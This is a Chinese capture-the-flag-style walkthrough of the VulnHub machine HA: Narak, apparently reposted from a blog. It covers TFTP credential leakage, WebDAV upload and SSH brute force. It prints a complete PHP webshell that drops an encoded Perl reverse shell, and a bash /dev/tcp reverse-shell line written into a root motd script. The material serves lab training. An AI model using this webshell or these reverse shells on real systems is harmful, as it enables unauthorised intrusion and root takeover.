[VulnHub靶机渗透] HA: Narak

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nmap漏洞扫描

nikto漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集+TFTP渗透测试

tftp协议

4、反弹shell

三、提权

1、信息收集

2、初步提权

3、二次提权

user.txt

root.txt


前言

学渗透必打百台靶机实操精讲-Narak。涉及UDP突破,TFTP信息泄漏,webdav反弹shell上传。二级提权,第一级通过找到可写bash脚本文件中的brainfuck语句,获得凭据,二级通过motd脚本获得root权限。相比之前的视频,增加了些新知识,值得玩味的攻击链。可以结合靶机实操。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.171

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现靶机开放了22和80端口,从目前的信息来看。我们肯定是首先从web的80端口下手渗透测试

┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.31.171 

3、漏洞扫描

nmap漏洞扫描

80端口的web目录,发现/webdav/目录,我们可以尝试访问下

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80 192.168.31.171 

/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录

WebDAV(Web Distributed Authoring and Versioning)是一种用于在远程服务器上进行文件管理和协同工作的协议。对于使用 WebDAV 服务器的用户来说,/webdav/ 可能是服务器上提供的 WebDAV 服务的根目录路径。

nikto漏洞扫描

nikto漏洞扫描,发现靶机的一些版本信息和一些目录,但是这些信息对目前的渗透测试来讲没有什么价值。

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.171

二、渗透测试+信息收集

1、web渗透

访问web80端口,发现是一个关于印度题材的一个界面,下面有一个介绍,我给大家翻译下

像这里面的用户名要注意下,因为靶场开放了22端口,到时候大概率要利用ssh远程登录,所以对于用户和密码需要多注意下。

目前我们还没有找到关键的突破点,所以我们下一步需要从扫描目录的点着手。

2、目录扫描

扫描发现了/images和/webdav和/server-status目录,访问后,发现就是开始前面访问的/webdav目录有用,其他的没有什么发现。这就很难搞啊,到目前还是没有什么突破,在目录扫描方面,gobuster 对于目录列举,有些后缀,他默认没有扫描,比如:zip,rar,sql,txt,php等,需要我们手动去添加扫描

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

  • dir:指定 gobuster 工具要执行的模式,这里是目录扫描模式,即扫描指定 URL 中的目录。
  • -u http://192.168.31.171:指定要扫描的目标 URL,这里是 http://192.168.31.171,即目标网站的地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:指定字典文件的位置,这里是 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,即作为目录爆破的字典文件。

gobuster进阶

我们利用gobuster手动对一些特定的后缀进行扫描,发现/tips.txt目录下,有线索

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,sql,txt,php

根据作者的提示,我们需要找到creds.txt文件,然后在里面有突破的线索,但是我访问这个目录,发现访问不成功,说明这个文件,在web页面不可以直接访问,可能需要利用某些协议才可以访问到,但是我们最先开始扫描端口,就一个22端口开放了ssh协议,这就很奇怪了!

有没有可能我们扫描端口开放的协议,并没有扫描完全,还有的端口没有发现,这么一想,好像被nmap-p-给欺骗了,因为,它默认不骚了UDP端口的协议,所以我们下一步就可以扫描UDP 的端口协议。

3、信息收集+TFTP渗透测试

扫描UDP端口协议,发现可能存在开放了tftp协议

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.31.171 
  • -sU:指定 nmap 使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。
  • --top-port 20限制扫描的端口范围为前 20 个最常见的端口。

tftp协议

TFTP(Trivial File Transfer Protocol)是一种简单的文件传输协议,用于在计算机网络中进行文件传输。与 FTP(File Transfer Protocol)相比,TFTP更加简单,功能也相对有限。 TFTP通常用于进行无需用户认证和权限控制的简单文件传输操作。它基于UDP(User Datagram Protocol)协议工作,使用69号端口进行通信。TFTP不需要建立持久的连接,每个文件传输操作都是独立的。

TFTP的设计目标是提供一种轻量级的文件传输解决方案。它通常用于像路由器和网络设备等资源受限的环境中,用于通过网络进行固件更新、配置文件传输等操作。TFTP支持读取(下载)和写入(上传)文件,但它没有目录列表、登录认证、加密等高级功能。

既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:

┌──(root💀kali)-[~/桌面]
└─# tftp 192.168.31.171                                                                                                                                                2 ⚙
tftp> get creds.txt
Received 22 bytes in 0.0 seconds
tftp> quit

下载完以后,查看发现creds.txt是个base64加密的文件,解密后得到:yamdoot:Swarg,应该是串账号密码,我们可以尝试ssh远程登录,但是发现登录失败。

后来,我们想到开始的/webdav,也是需要账号密码登录的,后来尝试登录成功了。

┌──(root💀kali)-[~/桌面]
└─# cat creds.txt                                                                                                                                                      2 ⚙
eWFtZG9vdDpTd2FyZw==┌──(root💀kali)-[~/桌面]
└─# echo "eWFtZG9vdDpTd2FyZw==" |base64 -d                                                                                                                             2 ⚙
yamdoot:Swarg 

/webdav登录成功了,但是里面没有什么文件,但是我们可以利用/webdav的客户端管理工具进行上传webshell木马,然后反弹shell

此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

┌──(root💀kali)-[~/桌面]
└─# davtest -url http://192.168.31.171/webdav -auth yamdoot:Swarg

我们可以看到可以利用客户端上传哪些文件,并且对于的哪些权限,我们发现txt、php和html的权限最高。

对于文件执行,只有 txt、php 和 html 类型的文件被成功执行。而其他类型的文件(jhtml、cgi、cfm、asp、aspx、shtml、jsp、pl)均没有成功执行。

所以,我们需要写一个php的webshell进行上传,然后再利用kali进行监听,然后反弹shell

4、反弹shell

webshell木马

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.225";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

然后再利用一个客户端,把webshell.php上传,此处使用的webdav客户端是cadaver

┌──(root💀kali)-[~/桌面]
└─# cadaver http://192.168.31.171/webdav                                                                                                                               3 ⚙
Authentication required for webdav on server `192.168.31.171':
Username: yamdoot
Password: 
dav:/webdav/> put webshell.php
Uploading webshell.php to `/webdav/webshell.php':
Progress: [=============================>] 100.0% of 1706 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
Coll:   DavTestDir_s2zRPsmpVIjC                0  2月 21 23:02
Coll:   DavTestDir_uUl0kpRTt3uybI              0  2月 21 05:16webshell.php                        1706  2月 21 23:08输入用户名和密码(yamdoot:Swarg)

kali先进行监听,然后再点击webshell.php文件,然后发现反弹shell成功了

python3 -c 'import pty; pty.spawn ("/bin/bash")'  //交互式shellexport TERM=xterm  //添加环境变量,使shell更加完整

三、提权

1、信息收集

发现sudo提权和SUID都没有可以提权的地方

www-data@ubuntu:/var/www/webdav$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/ntfs-3g
/bin/su
/bin/fusermount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/traceroute6.iputils

cat /etc/crontab查看有没有定时任务执行啥的,发现也是没有

www-data@ubuntu:/var/www/webdav$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

发现/mnt/hell.sh里面是一个Brainfuck 编程语言的代码,然后/etc/apache2/users.password里面是我们开始登录/webdav的登录凭据。

cat /mnt/hell.sh
#!/bin/bashecho"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
www-data@ubuntu:/var/www/webdav$ cat /etc/apache2/users.password
cat /etc/apache2/users.password
yamdoot:webdav:8ef09831d201bd84acb0ef99a4a98a91

我们对Brainfuck代码进行解密,解密网站如下:解密得到一串应该是密码,chitragupt

Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]icon-default.png?t=N7T8https://www.splitbrain.org/services/ook

2、初步提权

我们上面经过信息收集,发现了一个密码,我们现在可以去收集靶机相关的账号,然后利用hydra九头蛇进行爆破ssh远程登录。

我们在/home家目录下,看到三个用户,然后在/etc/passwd文件下,看到具有/bin/bash权限的用户,也刚好有这几个,很有可能这几个账户中就有和刚才chitragupt密码匹配ssh的用户。

把账号密码分别进行保存,然后再利用hydra九头蛇进行爆破

┌──(root💀kali)-[~]
└─# vim passwd.txt                                                                                                                                                     1 ⚙┌──(root💀kali)-[~]
└─# vim users.txt                                                                                                                                                      1 ⚙┌──(root💀kali)-[~]
└─# cat passwd.txt                                                                                                                                                     1 ⚙
chitragupt┌──(root💀kali)-[~]
└─# cat users.txt                                                                                                                                                      1 ⚙
root
inferno
yamdoot
narak

爆破成功,

[22][ssh] host: 192.168.31.171 login: inferno password: chitragupt

┌──(root💀kali)-[~]
└─# hydra -L users.txt -P passwd.txt 192.168.31.171 ssh                                                                                                                1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-22 00:12:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking ssh://192.168.31.171:22/
[22][ssh] host: 192.168.31.171   login: inferno   password: chitragupt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-22 00:12:13

ssh远程登录成功了

┌──(root💀kali)-[~]
└─# ssh inferno@192.168.31.171                                                                                                                                         1 ⚙
inferno@192.168.31.171's password: 
Last login: Wed Feb 21 06:03:50 2024 from 192.168.31.225
inferno@ubuntu:~$ export TERM=xterm   //环境变量,使shell更加完整
inferno@ubuntu:~$ whoami
inferno

3、二次提权

sudo提权和SUID提权以及查看定时进程任务都没有发现可以提权的地方,

user.txt

找到了user的flag

inferno@ubuntu:~$ ls
user.txt
inferno@ubuntu:~$ cat user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}

查看哪些具有可写权限的文件:

inferno@ubuntu:~$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:

后来发现00-header,这个脚本的目的是在登录时向用户显示相关的系统信息。

可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。

把到时候kali监听的反弹shell写入到00-header中,然后我们再利用卡里监听,然后重新ssh登录inferno用户,就可以得到root权限了

inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/192.168.31.225/4444 0>&1'" >> 00-header

root.txt

恭喜我们拿到了root权限,也成功拿到了root用户的flag了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/698486.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

洛谷 P2032 扫描 (Java)

洛谷 P2032 扫描 (Java) 传送门&#xff1a;P2032 扫描 题目&#xff1a; 扫描 题目描述 有一个 1 n 1 \times n 1n 的矩阵&#xff0c;有 n n n 个整数。 现在给你一个可以盖住连续 k k k 个数的木板。 一开始木板盖住了矩阵的第 1 ∼ k 1 \sim k 1∼k 个数&#x…

JAVA代码审计之XSS漏洞

Part1 漏洞案例demo&#xff1a; 没有java代码审计XSS漏洞拿赏金的案例。 所以将就看看demo吧 漏洞原理&#xff1a;关于XSS漏洞的漏洞原理核心其实没啥好说的&#xff0c;网上一查一大堆 反射性XSS漏洞 <% page language"java" contentType"text/html; c…

跨越千年医学对话:用AI技术解锁中医古籍知识,构建能够精准问答的智能语言模型,成就专业级古籍解读助手(LLAMA)

介绍&#xff1a;首先在 Ziya-LLaMA-13B-V1基线模型的基础上加入中医教材、中医各类网站数据等语料库&#xff0c;训练出一个具有中医知识理解力的预训练语言模型&#xff08;pre-trained model&#xff09;&#xff0c;之后在此基础上通过海量的中医古籍指令对话数据及通用指令…

Vite+Vue3+Ant Design3.2报错: Cannot read properties of null (reading ‘isCE‘)

最近的ViteVue3Ant Design Vue3.2开发的项目莫名其妙的报错&#xff1a; Uncaught (in promise) TypeError: Cannot read properties of null (reading isCE) 一直找不到原因出在哪&#xff0c;害的我费了好多时间调试 &#xff0c;百度上也找了各个解决方法&#xff0c;有说使…

React18源码: schedule任务调度messageChannel

React调度原理(scheduler) 在React运行时中&#xff0c;调度中心&#xff08;位于scheduler包&#xff09;是整个React运行时的中枢&#xff08;其实是心脏&#xff09;&#xff0c;所以理解了scheduler调度&#xff0c;就基本掌握了React的核心React两大循环&#xff1a;从宏…

uniapp实现全局悬浮框

uniapp实现全局悬浮框(按钮,页面,图片自行设置) 可拖动 话不多说直接上干货 1,在components新建组件(省去了每个页面都要引用组件的麻烦) 2,实现代码 <template><view class"call-plate" :style"top: top px;left: left px;" touchmove&quo…

Java架构师之路四、分布式系统:分布式架构、分布式数据存储、分布式事务、分布式锁、分布式缓存、分布式消息中间件、分布式存储等。

目录 分布式架构&#xff1a; 分布式数据存储&#xff1a; 分布式事务&#xff1a; 分布式锁&#xff1a; 分布式缓存&#xff1a; 分布式消息中间件&#xff1a; 分布式存储&#xff1a; Java架构师之路三、网络通信&#xff1a;TCP/IP协议、HTTP协议、RESTful API、We…

【数据分享】中国首套1公里高分辨率大气湿度指数数据集(6个指标\免费获取)

湿度数据是气象学和许多其他领域中至关重要的数据&#xff0c;可用于气象预测与气候研究。之前我们分享过Excel格式和GIS矢量格式&#xff08;均可查看之前的文章获悉详情&#xff09;的2000-2020年全国各城市逐日、逐月和逐年的湿度数据。 本次我们给大家带来的是中国首套1公…

前端常见面试题之react高级特性(Portals、Context、HOC等)

文章目录 1. Portals将子组件渲染到父组件以外的DOM节点上2. Context组件树中传递数据3. react中如何加载异步组件4. shouldComponentUpdate有什么用5. state中值的不可变性6. HOC和Render Props代码复用和逻辑分离7. redux8.React-Redux9. react-reducx异步action 1. Portals将…

【无标题】//创建单向循环链表//创建结点//头插//按位置插入//尾删//按位置删除

1.h头文件 #ifndef __1_H_ #define __1_H_ #include <stdio.h> #include <stdlib.h> typedef int datatype; typedef struct loop_list {union{int len;datatype data;};struct loop_list *next; }loop_list,*loop_p; loop_p create_head(); loop_p create_node(…

【嵌入式学习】QT-Day3-Qt基础

1> 思维导图 https://lingjun.life/wiki/EmbeddedNote/20QT 2> 完善登录界面 完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后…

子查询

Oracle从入门到总裁:https://blog.csdn.net/weixin_67859959/article/details/135209645 子查询 前面我们学过了利用 group by子句可以实现分组的操作&#xff0c;主要的统计函数有&#xff1a;COUNT()、AVG()、SUM()、MAX()、MIN() 并且介绍了分组统计查询的若干限制以及在…

设计模式面试系列-03

1. Java 中如何实现模板方法模式? 举例:去餐厅吃饭,餐厅给我们提供了一个模板就是:看菜单,点菜,吃饭,付款,走人。注意这里“点菜和付款”是不确定的由子类来完成的,其他的则是一个模板。 1、先定义一个模板。把模板中的点菜和付款,让子类来实现。 package com.yoo…

IP 协议

IP 协议 .IP协议格式四位版本号四位首部长度8位服务类型16位总长度16位标识符,3位标志位,13位片偏移8位生存时间TTL8位协议16位首部校验和32位源地址 32位目的地址IP地址的组成特殊的IP地址 . IP协议格式 四位版本号 用来表示IP协议的版本,现有的IP协议只有两个版本,IPv4,IPv6…

comfyui节点编写示例文件(下)

** 1、先看示例文件的结构 ** ** 2、设置输入参数 ** ** 3、节点指定任务、输出啥 ** ** 4、这个节点干了啥&#xff0c;定义函数、输出结果 ** ** 5、多个节点&#xff0c;就多个类 ** ** 6、设置多个入口 ** ** 7、放置 ** 直接把py文件放到 .\Co…

PostgreSQL教程(四):高级特性

一、简介 在之前的章节里我们已经涉及了使用SQL在PostgreSQL中存储和访问数据的基础知识。现在我们将要讨论SQL中一些更高级的特性&#xff0c;这些特性有助于简化管理和防止数据丢失或损坏。最后&#xff0c;我们还将介绍一些PostgreSQL扩展。 本章有时将引用教程&#xff0…

消息中间件之RocketMQ为什么写文件这么快?

RocketMQ的存储涉及中&#xff0c;很大一部分是基于Kafka的涉及进行优化的。 PageCache 现代操作系统内核被设计为按照Page读取文件&#xff0c;每个Page默认4KB, 因为程序一般符合局部性原理&#xff0c;所以操作系统在读取一段文件内容时&#xff0c;会将该段内容和附件的文…

Nginx网络服务二-----(虚拟机和location)

一、HTTP设置 1.设置虚拟主机 1.1Nginx 基于域名---虚拟主机 include /apps/nginx/conf.d/*.conf; 1.2Nginx 基于端口---虚拟主机 在做了域名的基础上&#xff0c;按照以下步骤继续 1.3Nginx 基于IP---虚拟主机 2.server下的root root路径格式 指定文件的路径 url …

DataX学习详解

参考视频 02_DataX_概述_哔哩哔哩_bilibili 参考文档 大数据技术之DataX-阿里云开发者社区 介绍 DataX 是阿里巴巴开源的一个 异构数据源 离线 同步工具 致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP&#xff0c;MongDB等各种异构数据源之间…

[python][whl]PyOpenGL轮子文件whl格式所有版本含python3.12版本下载地址汇总

以下PyOpenGL都是windows x64系统使用pyopengl注意对应版本下载&#xff0c;文件名命名规则为&#xff0c;以PyOpenGL-3.1.6-cp312-cp312-win-amd64.whl为例子 PyOpenGL&#xff1a;python模块名称 3.1.6&#xff1a;pyopengl版本号 cp312:表示支持python3.12版本不支持其他…